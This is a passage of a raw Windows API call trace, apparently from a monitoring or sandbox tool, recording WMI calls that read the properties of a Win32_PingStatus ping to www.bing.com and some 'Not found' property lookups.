WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8b4 | out: puCount=0x59fe8b4*=0x2) returned 0x0 [0141.695] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8b0*=0xf, pszText=0x0) returned 0x0 [0141.695] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.695] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8b4 | out: puCount=0x59fe8b4*=0x2) returned 0x0 [0141.695] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8b0*=0xf, pszText=0x0) returned 0x0 [0141.695] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.695] IWbemClassObject:GetNames (in: This=0x5ce3798, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe8bc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe8b0 | out: pNames=0x59fe8b0*="\x01ƀ\x04") returned 0x0 [0141.695] SafeArrayGetDim (psa=0x5cea220) returned 0x1 [0141.695] SafeArrayGetDim (psa=0x5cea220) returned 0x1 [0141.695] SafeArrayGetLBound (in: psa=0x5cea220, nDim=0x1, plLbound=0x59fe748 | out: plLbound=0x59fe748) returned 0x0 [0141.695] SysStringByteLen (bstr="__GENUS") returned 0xe [0141.695] SysStringByteLen (bstr="__GENUS") returned 0xe [0141.695] SysStringByteLen (bstr="__CLASS") returned 0xe [0141.695] SysStringByteLen (bstr="__CLASS") returned 0xe [0141.695] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0141.695] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0141.696] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0141.696] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0141.696] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0141.696] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0141.696] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0141.696] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0141.696] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0141.696] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0141.696] SysStringByteLen (bstr="__SERVER") returned 0x10 [0141.696] SysStringByteLen (bstr="__SERVER") returned 0x10 [0141.696] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0141.696] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0141.696] SysStringByteLen (bstr="__PATH") returned 0xc [0141.696] SysStringByteLen (bstr="__PATH") returned 0xc [0141.696] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__GENUS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b4f60*=0, plFlavor=0x28b4f64*=0 | out: pVal=0x59fe8ac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x28b4f60*=3, plFlavor=0x28b4f64*=64) returned 0x0 [0141.696] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__CLASS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b4f94*=0, plFlavor=0x28b4f98*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x28b4f94*=8, plFlavor=0x28b4f98*=64) returned 0x0 [0141.697] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.697] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.697] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b4fec*=0, plFlavor=0x28b4ff0*=0 | out: pVal=0x59fe8ac*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b4fec*=8, plFlavor=0x28b4ff0*=64) returned 0x0 [0141.697] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__DYNASTY", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b5014*=0, plFlavor=0x28b5018*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x28b5014*=8, plFlavor=0x28b5018*=64) returned 0x0 [0141.697] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.697] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.697] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__RELPATH", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b506c*=0, plFlavor=0x28b5070*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x28b506c*=8, plFlavor=0x28b5070*=64) returned 0x0 [0141.697] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0141.697] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0141.697] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b5244*=0, plFlavor=0x28b5248*=0 | out: pVal=0x59fe8ac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x28b5244*=3, plFlavor=0x28b5248*=64) returned 0x0 [0141.697] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__DERIVATION", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b5278*=0, plFlavor=0x28b527c*=0 | out: pVal=0x59fe8ac*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea250*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d13998, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x28b5278*=8200, plFlavor=0x28b527c*=64) returned 0x0 [0141.698] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__SERVER", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b52ac*=0, plFlavor=0x28b52b0*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x28b52ac*=8, plFlavor=0x28b52b0*=64) returned 0x0 [0141.698] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0141.698] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0141.698] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b52f8*=0, plFlavor=0x28b52fc*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x28b52f8*=8, plFlavor=0x28b52fc*=64) returned 0x0 [0141.698] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0141.698] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0141.698] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__PATH", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b5344*=0, plFlavor=0x28b5348*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x28b5344*=8, plFlavor=0x28b5348*=64) returned 0x0 [0141.698] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0141.698] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0141.698] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8f0 | out: puCount=0x59fe8f0*=0x2) returned 0x0 [0141.698] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8ec*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8ec*=0xf, pszText=0x0) returned 0x0 [0141.698] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8ec*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8ec*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.698] IWbemClassObject:Get (in: This=0x5ce3798, wszName="WriteDebugStream", lFlags=0, pVal=0x59fe8ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b5578*=0, plFlavor=0x28b557c*=0 | out: pVal=0x59fe8ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b5578*=0, plFlavor=0x28b557c*=0) returned 0x80041002 [0141.698] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x59fe8d0 | out: pperrinfo=0x59fe8d0*=0x0) returned 0x1 [0141.700] CoGetClassObject (in: rclsid=0x5cd3354*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x59fe530 | out: ppv=0x59fe530*=0x5d13998) returned 0x0 [0141.700] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d13998, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59fe748 | out: ppvObject=0x59fe748*=0x0) returned 0x80004002 [0141.700] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5d13998, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe754 | out: ppvObject=0x59fe754*=0x5d139d8) returned 0x0 [0141.700] WbemStatusCodeText:IUnknown:Release (This=0x5d13998) returned 0x0 [0141.700] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d139d8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe374 | out: ppvObject=0x59fe374*=0x5d139d8) returned 0x0 [0141.700] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d139d8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59fe328 | out: ppvObject=0x59fe328*=0x0) returned 0x80004002 [0141.701] WbemStatusCodeText:IUnknown:AddRef (This=0x5d139d8) returned 0x3 [0141.701] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d139d8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59fdc84 | out: ppvObject=0x59fdc84*=0x0) returned 0x80004002 [0141.701] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d139d8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59fdc34 | out: ppvObject=0x59fdc34*=0x0) returned 0x80004002 [0141.701] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d139d8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fdc40 | out: ppvObject=0x59fdc40*=0x0) returned 0x80004002 [0141.701] CoGetContextToken (in: pToken=0x59fdca0 | out: pToken=0x59fdca0) returned 0x0 [0141.701] CoGetContextToken (in: pToken=0x59fe0b4 | out: pToken=0x59fe0b4) returned 0x0 [0141.701] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d139d8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe134 | out: ppvObject=0x59fe134*=0x0) returned 0x80004002 [0141.701] WbemStatusCodeText:IUnknown:Release (This=0x5d139d8) returned 0x2 [0141.701] WbemStatusCodeText:IUnknown:Release (This=0x5d139d8) returned 0x1 [0141.701] CoGetContextToken (in: pToken=0x59fe734 | out: pToken=0x59fe734) returned 0x0 [0141.701] CoGetContextToken (in: pToken=0x59fe694 | out: pToken=0x59fe694) returned 0x0 [0141.701] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d139d8, riid=0x59fe764*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x59fe760 | out: ppvObject=0x59fe760*=0x5d139d8) returned 0x0 [0141.701] WbemStatusCodeText:IUnknown:AddRef (This=0x5d139d8) returned 0x3 [0141.701] WbemStatusCodeText:IUnknown:Release (This=0x5d139d8) returned 0x2 [0141.701] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5d139d8, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x59fe8c4 | out: MessageText=0x59fe8c4*="Not found ") returned 0x0 [0141.701] SysStringByteLen (bstr="Not found ") returned 0x14 [0141.702] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8b4 | out: puCount=0x59fe8b4*=0x2) returned 0x0 [0141.702] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8b0*=0xf, pszText=0x0) returned 0x0 [0141.702] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.702] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8b4 | out: puCount=0x59fe8b4*=0x2) returned 0x0 [0141.702] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8b0*=0xf, pszText=0x0) returned 0x0 [0141.702] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.702] IWbemClassObject:GetNames (in: This=0x5ce3798, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe8bc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe8b0 | out: pNames=0x59fe8b0*="\x01ƀ\x04") returned 0x0 [0141.702] SafeArrayGetDim (psa=0x5cea1f0) returned 0x1 [0141.703] SafeArrayGetDim (psa=0x5cea1f0) returned 0x1 [0141.703] SafeArrayGetLBound (in: psa=0x5cea1f0, nDim=0x1, plLbound=0x59fe748 | out: plLbound=0x59fe748) returned 0x0 [0141.703] SysStringByteLen (bstr="__GENUS") returned 0xe [0141.703] SysStringByteLen (bstr="__GENUS") returned 0xe [0141.703] SysStringByteLen (bstr="__CLASS") returned 0xe [0141.703] SysStringByteLen (bstr="__CLASS") returned 0xe [0141.703] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0141.703] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0141.703] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0141.703] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0141.703] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0141.703] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0141.703] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0141.703] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0141.703] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0141.703] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0141.703] SysStringByteLen (bstr="__SERVER") returned 0x10 [0141.703] SysStringByteLen (bstr="__SERVER") returned 0x10 [0141.703] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0141.703] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0141.703] SysStringByteLen (bstr="__PATH") returned 0xc [0141.703] SysStringByteLen (bstr="__PATH") returned 0xc [0141.704] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__GENUS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b5958*=0, plFlavor=0x28b595c*=0 | out: pVal=0x59fe8ac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x28b5958*=3, plFlavor=0x28b595c*=64) returned 0x0 [0141.704] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__CLASS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b598c*=0, plFlavor=0x28b5990*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x28b598c*=8, plFlavor=0x28b5990*=64) returned 0x0 [0141.704] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.704] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.704] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b59e4*=0, plFlavor=0x28b59e8*=0 | out: pVal=0x59fe8ac*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b59e4*=8, plFlavor=0x28b59e8*=64) returned 0x0 [0141.704] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__DYNASTY", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b5a0c*=0, plFlavor=0x28b5a10*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x28b5a0c*=8, plFlavor=0x28b5a10*=64) returned 0x0 [0141.704] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.704] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.704] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__RELPATH", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b5a64*=0, plFlavor=0x28b5a68*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x28b5a64*=8, plFlavor=0x28b5a68*=64) returned 0x0 [0141.704] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0141.704] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0141.705] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b5c3c*=0, plFlavor=0x28b5c40*=0 | out: pVal=0x59fe8ac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x28b5c3c*=3, plFlavor=0x28b5c40*=64) returned 0x0 [0141.705] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__DERIVATION", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b5c70*=0, plFlavor=0x28b5c74*=0 | out: pVal=0x59fe8ac*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea0d0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d13998, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x28b5c70*=8200, plFlavor=0x28b5c74*=64) returned 0x0 [0141.705] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__SERVER", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b5ca4*=0, plFlavor=0x28b5ca8*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x28b5ca4*=8, plFlavor=0x28b5ca8*=64) returned 0x0 [0141.705] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0141.705] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0141.705] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b5cf0*=0, plFlavor=0x28b5cf4*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x28b5cf0*=8, plFlavor=0x28b5cf4*=64) returned 0x0 [0141.705] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0141.705] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0141.705] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__PATH", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b5d3c*=0, plFlavor=0x28b5d40*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x28b5d3c*=8, plFlavor=0x28b5d40*=64) returned 0x0 [0141.705] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0141.705] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0141.706] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8f0 | out: puCount=0x59fe8f0*=0x2) returned 0x0 [0141.706] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8ec*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8ec*=0xf, pszText=0x0) returned 0x0 [0141.706] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8ec*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8ec*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.706] IWbemClassObject:Get (in: This=0x5ce3798, wszName="WriteInformationStream", lFlags=0, pVal=0x59fe8ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b5f70*=0, plFlavor=0x28b5f74*=0 | out: pVal=0x59fe8ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b5f70*=0, plFlavor=0x28b5f74*=0) returned 0x80041002 [0141.706] GetErrorInfo (in: 